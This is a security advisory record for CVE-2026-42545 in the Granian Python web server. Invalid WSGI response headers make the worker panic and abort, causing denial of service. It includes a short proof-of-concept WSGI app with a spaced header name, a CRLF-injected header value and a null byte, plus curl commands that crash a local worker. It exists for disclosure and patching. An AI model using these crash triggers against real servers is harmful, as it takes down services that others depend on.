id: PYSEC-2026-2502
published: "2026-07-13T15:15:39.632525Z"
modified: "2026-07-13T16:04:12.788490Z"
aliases:
- CVE-2026-42545
- GHSA-f5p7-9fr5-8jmj
summary: Granian vulnerable to DoS via WSGI response header panic
details: "### Summary\n\nGranian aborts a worker process if a WSGI application returns an invalid HTTP response header name or value. The WSGI response conversion path uses `.unwrap()` on both the header name and header value constructors, so malformed output from the application becomes a process abort instead of a handled error.\n\nThis issue requires a buggy or attacker-influenced WSGI application to emit invalid headers. It is not a parser bug in Granian's request path. The security impact is that application mistakes which should result in a `500` instead kill the worker process.\n\n### Details\n\nhttps://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/wsgi/io.rs#L39-L42\n\nIf either conversion fails, `.unwrap()` panics. In release builds Granian uses `panic = \"abort\"`, so the panic terminates the worker.\n\n\n#### Preconditions\n\nThe attacker must be able to influence a header name or value produced by the WSGI application, or the application must otherwise generate invalid headers.\n\nExamples include:\n\n- a header name containing a space\n- a header value containing `\\r\\n`\n- a header value containing a null byte\n\nThese are realistic failure modes for applications that reflect user-controlled data into headers such as `Location`, `Content Disposition`, or custom response headers.\n\n### PoC\n\n#### Step 1\n\nstart Granian with the PoC WSGI app\n\n```python\n# app.py\ndef app(environ, start_response):\n    path = environ.get(\"PATH_INFO\", \"/\")\n    if path == \"/crash-name\":\n        headers = [(\"X Bad Name\", \"value\")]\n    elif path == \"/crash-value\":\n        headers = [(\"Content-Type\", \"text/html\\r\\nX-Injected: evil\")]\n    elif path == \"/crash-null\":\n        headers = [(\"X-Custom\", \"value\\x00end\")]\n    else:\n        start_response(\"200 OK\", [(\"Content-Type\", \"text/plain\")])\n        return [b\"OK - server alive\\n\"]\n\n    start_response(\"200 OK\", headers)\n    return [b\"This response kills the worker\\n\"]\n\n```\n\n```bash\ngranian --interface wsgi app:app --host 127.0.0.1 --port 8000\n```\n\n#### Step 2\n\ntrigger the crash (any one of these is sufficient)\n\n```bash\ncurl http://127.0.0.1:8000/crash-name\ncurl http://127.0.0.1:8000/crash-value\ncurl http://127.0.0.1:8000/crash-null\n```\n\n\nExpected result:\n\n- the worker aborts after any of the crash paths\n- subsequent requests fail until the worker is restarted\n\n\n### Impact\n\n- Worker process denial of service\n- A single bad response kills one worker\n- Application bugs become process crashes instead of request-scoped failures"
affected:
- package:
    name: granian
    ecosystem: PyPI
    purl: pkg:pypi/granian
  ranges:
  - type: ECOSYSTEM
    events:
    - introduced: 0.2.0
    - fixed: 2.7.4
  versions:
  - 0.2.6
  - 0.3.2
  - 0.4.3
  - 0.5.3
  - 0.6.1
  - 0.7.6
  - 1.0.2
  - 1.1.2
  - 1.2.3
  - 1.3.0
  - 1.3.1
  - 1.3.2
  - 1.4.0
  - 1.4.1
  - 1.4.2
  - 1.4.3
  - 1.4.4
  - 1.5.0
  - 1.5.1
  - 1.5.2
  - 1.6.0
  - 1.6.1
  - 1.6.2
  - 1.6.3
  - 1.6.4
  - 1.7.0
  - 1.7.1
  - 1.7.2
  - 1.7.3
  - 1.7.4
  - 1.7.5
  - 1.7.6
  - 2.0.0
  - 2.0.1
  - 2.1.0
  - 2.1.1
  - 2.1.2
  - 2.2.0
  - 2.2.1
  - 2.2.2
  - 2.2.3
  - 2.2.4
  - 2.2.5
  - 2.2.6
  - 2.3.0
  - 2.3.1
  - 2.3.2
  - 2.3.3
  - 2.3.4
  - 2.4.0
  - 2.4.1
  - 2.4.2
  - 2.5.0
  - 2.5.1
  - 2.5.2
  - 2.5.3
  - 2.5.4
  - 2.5.5
  - 2.5.6
  - 2.5.7
  - 2.6.0
  - 2.6.1
  - 2.7.0
  - 2.7.1
  - 2.7.2
  - 2.7.3
references:
- type: WEB
  url: https://github.com/emmett-framework/granian/security/advisories/GHSA-f5p7-9fr5-8jmj
- type: ADVISORY
  url: https://nvd.nist.gov/vuln/detail/CVE-2026-42545
- type: PACKAGE
  url: https://github.com/emmett-framework/granian
- type: PACKAGE
  url: https://pypi.org/project/granian
- type: ADVISORY
  url: https://github.com/advisories/GHSA-f5p7-9fr5-8jmj
severity:
- type: CVSS_V3
  score: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H